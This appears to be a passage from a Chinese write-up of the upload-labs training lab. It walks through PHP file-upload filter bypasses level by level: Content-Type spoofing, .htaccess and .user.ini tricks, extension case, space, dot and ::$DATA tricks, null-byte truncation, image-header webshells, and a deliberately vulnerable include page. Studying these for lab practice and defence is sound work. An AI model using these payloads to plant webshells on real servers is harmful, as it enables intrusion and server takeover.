        那这个$_FILES['upload_file']['tmp_name']又是哪儿冒出来的呢,upload_file就是文件上传的表单的名字,如下图
    在这里插入图片描述

    在这里插入图片描述

        这里是$_FILES中的那些参数:

    $_FILES这个变量用与上传的文件参数设置,是一个多维数组
    数组的用法就是 $_FILES['key']['key2'];
    $_FILES['upfile']是你表单上传的文件信息数组,upfile是文件上传字段,在上传时由服务器根据上传字段设定。
    
    $_FILES['upfile']包含了以下内容:
    $_FILES['upfile']['name'] 客户端文件的原名称。
    $_FILES['upfile']['type'] 文件的 MIME 类型,需要浏览器提供该信息的支持,例如"image/gif"。
    $_FILES['upfile']['size'] 已上传文件的大小,单位为字节。
    $_FILES['upfile']['tmp_name'] 文件被上传后在服务端储存的临时文件名。
    $_FILES['upfile']['error'] 和该文件上传相关的错误代码。
    

        除去上面那一段代码,这里还有三段无关紧要的代码

    <?php 
                        if($msg != null){
                            echo "提示:".$msg;
                        }
                    ?>
    //如果有$msg不为空,则提示
    -------------------------------------------------------------------------------
    <?php
                        if($is_upload){
                            echo '<img src="'.$img_path.'" width="250px" />';
                        }
                    ?>
    //如果上传成功,则返回存储路基                
    -------------------------------------------------------------------------------
    <?php 
    	        if($_GET['action'] == "show_code"){
    	            include 'show_code.php';
    	        }
    	    ?>
    //如果提交的action参数为“show_code”,则包含 show_code.php 文件  
    

        下面这段js代码定义了检查上传文件的函数

    <script type="text/javascript">
        function checkFile() {
            var file = document.getElementsByName('upload_file')[0].value;
            //获取到文件名
            if (file == null || file == "") {
                alert("请选择要上传的文件!");
                return false;
            }
           
            var allow_ext = ".jpg|.png|.gif";
             //定义允许上传的文件类型
            
            var ext_name = file.substring(file.lastIndexOf("."));
            //提取上传文件的类型。
            //通过lastIndexOf取到“.”的索引,再使用substring函数截取 .后缀名
           
            if (allow_ext.indexOf(ext_name) == -1) {
            //如果 allow_ext 中没有 ext_name字符串,则返回-1
                var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
                alert(errMsg);
                return false;
            }
             //判断上传文件类型是否允许上传
        }
    </script>
    

    第二关

        这关,我们直接使用上一关的第二种方法就可以进行绕过,但是第一种方法不行,因为这一关的考点和上一关是不一样的,我们抓个包来看看。第一关是在前端验证后缀名,所以,第一关如果我们不禁用js,直接选择选择一个.php的文件的话,即使开了burp也是不会抓到包的,但是这关不一样
        我们选择一个 2.php文件,开启burpsuite,然后点击上传,成功的抓取到数据包。我们既然直接用上一关的第二种方法可以直接上传成功,那我们不妨来对比一下两个数据包。

        这个是我们这一关的数据包
    在这里插入图片描述
        这是上一关的数据包
    在这里插入图片描述
        通过对比,不难发现,两个数据包最大的不同之处就是Content-Type字段,Content-Type字段,见名知意,内容类型,在http协议中,使用该字段来描述了具体请求中的媒体内容信息。我们来修改该字段尝试是否可上传成功,既然题目要求我们上传图片类型,那我们将其改为图片型的即可。
    在这里插入图片描述
        修改后放行数据包,上传成功
    在这里插入图片描述
        再来看一下源代码

    $is_upload = false;
    $msg = null;
    if (isset($_POST['submit'])) {
        if (file_exists(UPLOAD_PATH)) {
            if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
                $temp_file = $_FILES['upload_file']['tmp_name'];
                $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'];          
                if (move_uploaded_file($temp_file, $img_path)) {
                    $is_upload = true;
                } else {
                    $msg = '上传出错!';
                }
            } else {
                $msg = '文件类型不正确,请重新上传!';
            }
        } else {
            $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
        }
    }
    

        可以看到,其实并没有什么特别之处,就是使用了$_FILES['upload_file']['type']获取到Content-Type字段,并进行比较,如果是那三种类型就继续向下执行,否则进行提示。

    第三关

    来到第三关,我们先按照上一关的做法来试一下,但是失败了
    在这里插入图片描述
        不妨点击一下右上角,查看一下提示,提示禁止上传这几个后缀名的文件,那这样看来,服务器端应该是对文件后缀名进行了限制,设置了黑名单。
    在这里插入图片描述
    那我们就要在后缀名上面做文章。目前最容易想到的有两种方法

    1. 大小写绕过
    2. 用其他可被解析的后缀名来代替

    先来尝试大小写绕过,尝试一番之后,最终失败
    在这里插入图片描述

        那就来尝试第二种方法,如下是常见的可执行脚本后缀名,及其替代后缀名,但是需要注意的是,除了基础的后缀名,其他后缀名可能需要在特殊的情况下才能被解析。

    |asp/aspx|asp,aspx,asa,asax,ascx,ashx,asmx,cer,aSp,aSpx,aSa,aSax,aScx,aShx,aSmx,cEr| 
    |php|php,php5,php4,php3,php2,pHp,pHp5,pHp4,pHp3,pHp2,html,htm,phtml,pht,Html,Htm,pHtml| 
    |jsp|jsp,jspa,jspx,jsw,jsv,jspf,jtml,jSp,jSpx,jSpa,jSw,jSv,jSpf,jHtml|
    

        修改后缀名为pHtml,上传成功
    在这里插入图片描述
        但是我尝试连接却失败了,看来确实是不能被服务器正常解析。那我们再试试其他的后缀名,尝试了很多后缀名,都是上传成功了,但却没有被正确解析。网上搜了一下,原来需要对apache配置文件做修改,在phpstudy中点击“其他选项菜单”打开Apache配置文件httpd-conf
    在这里插入图片描述
        找到下图中的这条数据,将其注释符去掉,表示:执行以.php.phtml为后缀名的文件中的php代码,当然你也可以自己添加其他后缀名。修改之后保存并重启服务。
    在这里插入图片描述
        这时再来连接,成功连接上,做完之后,我们再来看一下源代码

    if (isset($_POST['submit'])) {
        if (file_exists(UPLOAD_PATH)) {
            $deny_ext = array('.asp','.aspx','.php','.jsp');
            $file_name = trim($_FILES['upload_file']['name']);
            //trim去除字符创两侧的的特殊字符
            $file_name = deldot($file_name);//删除文件名末尾的点
            //deldot是一个自己创建的函数
            $file_ext = strrchr($file_name, '.');
            //取出后缀名 如: .txt
            $file_ext = strtolower($file_ext); //转换为小写
            $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
            $file_ext = trim($file_ext); //首尾去空
    
            if(!in_array($file_ext, $deny_ext)) {
                $temp_file = $_FILES['upload_file']['tmp_name'];
                $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; 
                //获取当前时间 再连接上一个随机数和后缀名,生成一个新的文件名与上传路径拼接         
                if (move_uploaded_file($temp_file,$img_path)) {
                     $is_upload = true;
                } else {
                    $msg = '上传出错!';
                }
            } else {
                $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
            }
        } else {
            $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
        }
    }
    

        下面这个是deldot函数的函数体,这里又看到了substr函数(如果有看过我sql注入的话,应该看到过),但是这是php中的substr函数,与mysql中的有区别,mysql中substr('abcde',1,1)截取的是a,而php中的substr截取的是b

    function deldot($s){
    	for($i = strlen($s)-1;$i>0;$i--){
    	// hello.   $i=5
    		$c = substr($s,$i,1);
    		// .
    		if($i == strlen($s)-1 and $c != '.'){
    			return $s;
    		}
    
    		if($c != '.'){
    			return substr($s,0,$i+1);
    		}
    	}
    
    mysql中的substr

    在这里插入图片描述

    php中的substr

    在这里插入图片描述

    第四关

        先按照上一关的方法,但是提示上传不成功,再来看一下提示
    在这里插入图片描述
        发现,还是黑名单方式,但是却过滤了几乎所有的可执行脚本后缀名,但是我们可以联想到Apache解析的特点。从右往左检测后缀名,比如一个文件是a.php.aaa.bbb,Apache首先检查.bbb后缀名,发现不认识,接着继续往左检查.aaa,还是不认识,那就会检查.php,发现认识,于是就进行了解析。这里为了效果明显,所以拿phpinfo()来做示范,成功被解析。在这里插入图片描述
    在这里插入图片描述


        除了这种方法以外,还有其他方法,利用.htaccess文件,.htaccess文件是Apache服务器下的一个配置文件,将改文件放在一个文件夹下,作用于该文件目录及其子目录,启用.htaccess,需要修改httpd.conf,启用AllowOverride,并可以用AllowOverride限制特定命令的使用。
        如果需要使用.htaccess以外的其他文件名,可以用AccessFileName指令来改变。例如,需要使用.config ,则可以在服务器配置文件中按以下方法配置:AccessFileName .config
        因为关卡采用的是黑名单方式,所以,我们可以上传.htaccess文件,我们先上传一个.htaccess文件,文件内容如下,表示执行.png文件中的php代码。

    AddType application/x-httpd-php .png
    

        然后再来上传一个phpinfo.png图片,上传成功,并且在.htaccess文件的作用下,能够被解析,若是将该配置文件删除,则不能正常解析。
    在这里插入图片描述

    if (isset($_POST['submit'])) {
        if (file_exists(UPLOAD_PATH)) {
            $deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
            $file_name = trim($_FILES['upload_file']['name']);
            $file_name = deldot($file_name);//删除文件名末尾的点
            $file_ext = strrchr($file_name, '.');
            $file_ext = strtolower($file_ext); //转换为小写
            $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
            $file_ext = trim($file_ext); //收尾去空
    
            if (!in_array($file_ext, $deny_ext)) {
                $temp_file = $_FILES['upload_file']['tmp_name'];
                $img_path = UPLOAD_PATH.'/'.$file_name;
                if (move_uploaded_file($temp_file, $img_path)) {
                    $is_upload = true;
                } else {
                    $msg = '上传出错!';
                }
            } else {
                $msg = '此文件不允许上传!';
            }
        } else {
            $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
        }
    }
    

    源代码与前一关并无大的差距,就是黑名单里的后缀名更多了而已

    第五关

        以上一关的第一种方式,可以直接通过,不过第一种方式或许并非是这两关的考点。我们尝试一下第二种方式时,尝试失败,上传.htaccess文件,直接失败。点击提示却出现这样一个不太看得懂的提示。不过我们可以试一下先读取一下这个readme.php在这里插入图片描述
        我们先随便上传一个文件,复制其路径,再把文件名改为readme.php访问一下,看有什么内容,发现就是一段文字,并没有给我们更多的信息。
    在这里插入图片描述
        于是,还是去求助万能的度娘,找到了这一关的过关姿势,以及一篇很不错的文章,戳这里看
        那我来简单说一下,php中有一个默认配置文件php.ini,其中包括了很多php的配置,而自 PHP 5.3.0 起,PHP 支持基于每个目录的 INI 文件配置。

    此类文件 仅被 CGI/FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果你的 PHP 以模块化运行在 Apache 里,则用 .htaccess 文件有同样效果。

        .user.ini就是一个支持用户“自定义”的配置文件,作用于所在的文件目录,及其子目录。在php工作时,会自下而上的检查配置文件,直到网站的根目录。
        在它支持自定义的配置模式中,有两个比较有意思的配置选项,auto_append_fileauto_prepend_file,这两个选项起到了文件包含的作用,类似于调用了一个require函数。auto_prepend_file指定在主文件前自动解析文件的名称;auto_append_file指定在主文件后自动解析文件的名称,如果主文件以exit()结尾的话,则不会进行自动追加。
        因此我们可以通过上传.user.ini配置文件,使其上传文件夹中的php文件能够自动包含某个文件。
        我们先上传一个.user.ini文件,内容如下,表示该目录及其子目录下所有的php文件在执行时,自动在头部包含一个5.jpg文件。

    auto_prepend_file=5.jpg
    

        然后我们再上传一个文件内容为一句话木马的5.jpg文件。这时,我们去访问readme.php文件,并在参数中写入一个phpinfo();,却失败了。于是我更换了php版本,我使用的是phpstudy环境,我将版本切换为php-5.4.45-nts后,成功的查看到了phpinfo的信息。
    在这里插入图片描述
        我之前用的是php-5.4.45,在我查看其phpinfo后找到了原因,因为使用的API不是FastCGI。我把phpstudy上的几个版本都尝试了一下,带nts的能成功,不带nts的则失败。
    在这里插入图片描述

    第六关

        先使用上一关的方法,但是上传失败了。看一下提示,看到这个提示,又是黑名单模式了。在这里插入图片描述
        但是这个提示是有误的,没有提示说 .ini 的文件禁止上传,然而我去看了一下源码,看到 .ini文件也是被加入了黑名单的。

    if (isset($_POST['submit'])) {
        if (file_exists(UPLOAD_PATH)) {
            $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
            $file_name = trim($_FILES['upload_file']['name']);
            $file_name = deldot($file_name);//删除文件名末尾的点
            $file_ext = strrchr($file_name, '.');
            $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
            $file_ext = trim($file_ext); //首尾去空
    
            if (!in_array($file_ext, $deny_ext)) {
                $temp_file = $_FILES['upload_file']['tmp_name'];
                $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
                if (move_uploaded_file($temp_file, $img_path)) {
                    $is_upload = true;
                } else {
                    $msg = '上传出错!';
                }
            } else {
                $msg = '此文件类型不允许上传!';
            }
        } else {
            $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
        }
    }
    

        通过源代码我们可以发现,黑名单里虽然过滤的很全面,但是在下面的后缀名处理之中却出现了纰漏,没有将后缀名转换为小写。

    $file_ext = strtolower($file_ext); //转换为小写
    

        这样的话,我们就可以进行大小写绕过了。首先来说,直接上传后缀名为.pHP的文件成功。

    第七关

    多的不说,直接看提示和源代码吧

    在这里插入图片描述

    if (isset($_POST['submit'])) {
        if (file_exists(UPLOAD_PATH)) {
            $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
            $file_name = $_FILES['upload_file']['name'];
            $file_name = deldot($file_name);//删除文件名末尾的点
            $file_ext = strrchr($file_name, '.');
            $file_ext = strtolower($file_ext); //转换为小写
            $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
            
            if (!in_array($file_ext, $deny_ext)) {
                $temp_file = $_FILES['upload_file']['tmp_name'];
                $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
                if (move_uploaded_file($temp_file,$img_path)) {
                    $is_upload = true;
                } else {
                    $msg = '上传出错!';
                }
            } else {
                $msg = '此文件不允许上传';
            }
        } else {
            $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
        }
    }
    

        还是拿来和第四关的代码对比,可以看到,在对后缀名进行处理时,又少了一条语句

    $file_ext = trim($file_ext); //首尾去空
    

        那我们就给后缀名首尾加空格吧,在前面加显然是不行的,因为这是加在文件名里面了,后缀名照样过不了检查。
    在这里插入图片描述
        在后面加空格,就顺利的通过了php的检查,而在windows系统中存储文件时,系统又自动忽略了文件后缀名末尾的空格,从而绕过。
    在这里插入图片描述

    第八关

        还是一样的,先来查看提示和源码,这个提示不明白,但先不管,直接看源码
    在这里插入图片描述

    if (isset($_POST['submit'])) {
        if (file_exists(UPLOAD_PATH)) {
            $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
            $file_name = trim($_FILES['upload_file']['name']);
            $file_ext = strrchr($file_name, '.');
            $file_ext = strtolower($file_ext); //转换为小写
            $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
            $file_ext = trim($file_ext); //首尾去空
            
            if (!in_array($file_ext, $deny_ext)) {
                $temp_file = $_FILES['upload_file']['tmp_name'];
                $img_path = UPLOAD_PATH.'/'.$file_name;
                if (move_uploaded_file($temp_file, $img_path)) {
                    $is_upload = true;
                } else {
                    $msg = '上传出错!';
                }
            } else {
                $msg = '此文件类型不允许上传!';
            }
        } else {
            $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
        }
    }
    

        还是拿来对别第四关,依旧是少了一条语句

    $file_name = deldot($file_name);//删除文件名末尾的点
    

        没有删除文件名末尾的点,那我们就来加个点
    在这里插入图片描述
        然后上传成功,进行访问,,,结果,居然访问成功了。
    在这里插入图片描述

        这反而让我有点措手不及了,因为后缀名变为了.php.,按理来说应该是会访问失败的,并且我还上传了一句话木马核实一遍,也成功了。然后我查看了一下上传文件夹,原来,Windows系统在存储文件时会自动去掉文件名末尾的点和空格。这里url末尾的点,对资源的访问没啥影响,我试了一下,多加几个点或者不加点都能访问到,但是换成其他字符不行。
    在这里插入图片描述

    第九关

    还是继续查看提示

    在这里插入图片描述

    if (isset($_POST['submit'])) {
        if (file_exists(UPLOAD_PATH)) {
            $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
            $file_name = trim($_FILES['upload_file']['name']);
            $file_name = deldot($file_name);//删除文件名末尾的点
            $file_ext = strrchr($file_name, '.');
            $file_ext = strtolower($file_ext); //转换为小写
            $file_ext = trim($file_ext); //首尾去空
            
            if (!in_array($file_ext, $deny_ext)) {
                $temp_file = $_FILES['upload_file']['tmp_name'];
                $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
                if (move_uploaded_file($temp_file, $img_path)) {
                    $is_upload = true;
                } else {
                    $msg = '上传出错!';
                }
            } else {
                $msg = '此文件类型不允许上传!';
            }
        } else {
            $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
        }
    }
    

        还是依旧和第四关进行对比,发现还是少了一句

     $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
    

        那这个::$DATA是个啥玩意儿呢?
        在php+Windows的环境下,如果文件名+::$DATA会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名
        那就上传文件,然后来burpsuite中进行修改吧,在文件名末尾加上一个::$DATA
    在这里插入图片描述
        复制返回图片的地址进行访问,发现访问失败.
    在这里插入图片描述
        将url末尾的::$DATA去掉后进行访问,访问成功

    在这里插入图片描述
        来到上传文件的文件夹中,可以看到确实是文件名被改变了
    在这里插入图片描述

    第十关

        还是老规矩,先来查看一下提示,看到这个提示会感觉像是白名单
    在这里插入图片描述
        接着来查看源码,发现还是黑名单,只不过黑名单比较完善,而且似乎对后缀名的处理也很完善

    if (isset($_POST['submit'])) {
        if (file_exists(UPLOAD_PATH)) {
            $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
            $file_name = trim($_FILES['upload_file']['name']);
            $file_name = deldot($file_name);//删除文件名末尾的点
            $file_ext = strrchr($file_name, '.');
            $file_ext = strtolower($file_ext); //转换为小写
            $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
            $file_ext = trim($file_ext); //首尾去空
            
            if (!in_array($file_ext, $deny_ext)) {
                $temp_file = $_FILES['upload_file']['tmp_name'];
                $img_path = UPLOAD_PATH.'/'.$file_name;
                if (move_uploaded_file($temp_file, $img_path)) {
                    $is_upload = true;
                } else {
                    $msg = '上传出错!';
                }
            } else {
                $msg = '此文件类型不允许上传!';
            }
        } else {
            $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
        }
    }
    

        但是查了查网上的攻略找到了方法。我们上传一个.php文件,然后修改后缀名为.php. .,于是上传成功了,并且我们复制图像地址进行访问也是成功了。
    在这里插入图片描述
    在这里插入图片描述
        查看一下文件上传的存储目录,可以看到,最终存储的文件是.php结尾的
    在这里插入图片描述
        在知道这么一个方法之后,其实是不难理解最终出现这样的结果的

    		$file_name = deldot($file_name);//删除文件名末尾的点
    		//  "phpinfo.php. ."-----> "phpinfo.php. "
            $file_ext = strrchr($file_name, '.');
            //取出".php. "
            $file_ext = strtolower($file_ext); //转换为小写
            $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
            $file_ext = trim($file_ext); //首尾去空
            // ".php. "---->".php."
    

        经过脚本一系列的处理之后原本.php. .的后缀名变成了.php.,而由于Windows的特性,又将文件末尾的点给去除了,最终就存的时候.php的文件。同理也可以上传.htaccess. .等文件。。。(就算没有经过脚本的处理,.php. .在windows中也是会被存储为.php)

    十一关

    看提示,会从文件名中去除这些字符,那可以猜一波双写绕过

    在这里插入图片描述
        不过还是先来试一下上传一个phpinfo.php文件,结果上传成功了,但是复制图片地址时,图片地址中 的文件名变成了info.,那看来确实是把php给过滤为空了,尝试一下双写,上传成功,复制图片地址进行访问也成功。
    在这里插入图片描述

    if (isset($_POST['submit'])) {
        if (file_exists(UPLOAD_PATH)) {
            $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");
    
            $file_name = trim($_FILES['upload_file']['name']);
            $file_name = str_ireplace($deny_ext,"", $file_name);
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;        
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
        }
    }
    
    

    十二关

    还是先查看提示
    在这里插入图片描述
        看到这个提示,首先会想到的就是%00截断
        那我们来看一下是怎么个情况,先来试试上传一个正常的.php文件,提示上传失败

        我们可以看到在get提交的参数中有一个参数看起来就是上传路径,我们在这里进行修改,加上自己想修改的文件名,然后再加个%00,放行数据包。一开始我使用的是php5.3.29,上传失败,即使我确认了magic_quotes_gpc为关闭状态,也依旧上传失败,改为php5.2.17后上传成功
    在这里插入图片描述
        上传成功后复制图片地址进行访问,但是可以看到,这个地址比较奇怪,没有访问成功,把文件末尾多出来的东西删除掉之后,访问成功。
    在这里插入图片描述
    在这里插入图片描述
    这道题限制条件较大,需要满足两个限制条件:

    1. php版本<5.3.29,反正我的在5.3.29下是失败的
    2. magic_quote_gpc关闭,否则00会被转义

        原理:php的一些函数的底层是C语言,而move_uploaded_file就是其中之一,遇到0x00会截断,0x表示16进制,URL中%00解码成16进制就是0x00

    if(isset($_POST['submit'])){
        $ext_arr = array('jpg','png','gif');
        $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
        if(in_array($file_ext,$ext_arr)){
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
    
            if(move_uploaded_file($temp_file,$img_path)){
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
        }
    }
    

    十三关

    提示和前一关是一样的

    在这里插入图片描述
        抓取数据包可以看到,文件路径的参数是以post方式提交的,我们在参数后面加个点
    在这里插入图片描述
        点击hex,打开16进制编辑器。找到点那个位置,将它修改为00,因为不是在url中的参数,所以不能用%00,会无法解析
    在这里插入图片描述

    十四关

        来到新的关卡,出现新的提示,提示让我们上传图片马到服务器,能够配合文件包含漏洞使用。
    在这里插入图片描述
        我们先写一个有文件包含漏洞的简单页面放到网站目录下面(关卡里面自带有include文件,大家可以不用自己写,之前没发现)

    <?php
    if(isset($_GET['path']))
    {
        include $_GET['path'];
    }
    else
    {
        echo "please input the 'path' as parameter whit your file";
    }
    ?>
    

        先来直接尝试上传一个文件内容为<?php phpinfo();?>,文件名为phpinfo.php的文件。
    在这里插入图片描述
        查看一下提示,提示会检查文件开头前两个字节,因为每种类型的图片文件开头两个字节都是特定的,用于标识文件类型的数据
    在这里插入图片描述
        gif的文件头是最简单的,可以直接在文件头部写入字符 “GIF89a”
    在这里插入图片描述
        再次上传,直接上传成功,复制下图片的地址,然后访问文件包含的页面,使用../的方式返回到上级目录,包含到目标文件。在不知道网站目录结构的情况,可以使用../的方式不断返回上级目录,再通过相对路径包含到上传的图片文件。
    在这里插入图片描述
        接着是jpg和png格式的图片,我们可以找图片再使用16进制编辑器打开,复制文件头并转换为ascii码形式粘贴在前面。这里讲另一种方式,使用现成的图片文件,将一句话木马合成到图片中,/b表示以二进制方式处理,/a表示以ascii码方式处理。

    copy 111.jpg/b + 1.php/a 14.jpg
    

        合成之后,使用editplus打开合成的文件,使用16进制查看,可以看到在文件的末尾,成功写入了一句话木马。

    在这里插入图片描述
        上传成功,然后复制图片地址

    http://192.168.2.134/upload-labs-master/upload/2220201101204536.jpg
    

        再进到存在文件包含漏洞的页面,包含文件,但是这个地方很容易出错,有些图片,里面存在特殊字符,使用文件包含的时候可能会出错,遇到报错的话,多找几张图片来试一试

    http://192.168.2.134/include/include.php?path=../upload-labs-master/upload/2220201101204536.jpg
    

        如果访问到时一堆乱码,那其实是成功了,否则应该是几句报错信息
    在这里插入图片描述
        使用蚁剑连接成功
    在这里插入图片描述
        甚至可以在图片的属性信息中添加一句话木马,如果你运气比较好的话,也是有可能成功的。
    在这里插入图片描述
        反正我是失败了,里面被加了点,也就懒得去试了
    在这里插入图片描述

        然后来测试一下png图片的,直接用phpinfo来进行测试,和jpg是一样一样的
    在这里插入图片描述

    function getReailFileType($filename){
        $file = fopen($filename, "rb");//以只读方式打开一个二进制文件
        $bin = fread($file, 2); //只读2字节
        fclose($file);
        $strInfo = @unpack("C2chars", $bin);    //从二进制字符串对数据进行解包
        $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
        $fileType = '';    
        switch($typeCode){      
            case 255216:            
                $fileType = 'jpg';
                break;
            case 13780:            
                $fileType = 'png';
                break;        
            case 7173:            
                $fileType = 'gif';
                break;
            default:            
                $fileType = 'unknown';
            }    
            return $fileType;
    }
    
    $is_upload = false;
    $msg = null;
    if(isset($_POST['submit'])){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $file_type = getReailFileType($temp_file);
    	//调用函数判定文件类型
        if($file_type == 'unknown'){
            $msg = "文件未知,上传失败!";
        }else{
            $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
            if(move_uploaded_file($temp_file,$img_path)){
                $is_upload = true;
            } else {
                $msg = "上传出错!";
            }
        }
    }
    

    十五关

        这一关上传和前一关一样的图片马即可成功

    function isImage($filename){
        $types = '.jpeg|.png|.gif';
        if(file_exists($filename)){
            $info = getimagesize($filename);
            //获取图像大小及相关信息
            $ext = image_type_to_extension($info[2]);
            //根据指定的图像类型返回对应的后缀名
            if(stripos($types,$ext)>=0){
                return $ext;
            }else{
                return false;
            }
        }else{
            return false;
        }
    }
    
    $is_upload = false;
    $msg = null;
    if(isset($_POST['submit'])){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $res = isImage($temp_file);
        if(!$res){
            $msg = "文件未知,上传失败!";
        }else{
            $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
            if(move_uploaded_file($temp_file,$img_path)){
                $is_upload = true;
            } else {
                $msg = "上传出错!";
            }
        }
    }
    

        和上一关其实是差不多的,上一关是读取文件前两个字节的数据,用于判断文件类型,这一关时候使用了php中的getimagesize函数,获取到图片的信息,再取出其文件后缀名进行对比。相当于是把上一关所写的函数封装起来了。

    十六关

    提示如下:

    在这里插入图片描述
        先来尝试直接上传之前的文件,页面直接变黑了。源代码中提示需要开启php_exif模块

    function isImage($filename){
        //需要开启php_exif模块
        $image_type = exif_imagetype($filename);
        switch ($image_type) {
            case IMAGETYPE_GIF:
                return "gif";
                break;
            case IMAGETYPE_JPEG:
                return "jpg";
                break;
            case IMAGETYPE_PNG:
                return "png";
                break;    
            default:
                return false;
                break;
        }
    }
    
    $is_upload = false;
    $msg = null;
    if(isset($_POST['submit'])){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $res = isImage($temp_file);
        if(!$res){
            $msg = "文件未知,上传失败!";
        }else{
            $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
            if(move_uploaded_file($temp_file,$img_path)){
                $is_upload = true;
            } else {
                $msg = "上传出错!";
            }
        }
    }
    

        这里有个php_exif开启步骤的文章,开启之后,上传上一关的文件即可。

    十七关

        这一关 有点奇怪,用5.2.17会上传出错,于是切换版本到5.3.29,上传内容为phpinfo的图片,上传成功,第十五关还能用的图片,到这儿就给你报错了。(唉,这个文件上传真是做得让人头皮发麻,切换个版本,原本能用的图片马又不能用了,要给你报错。
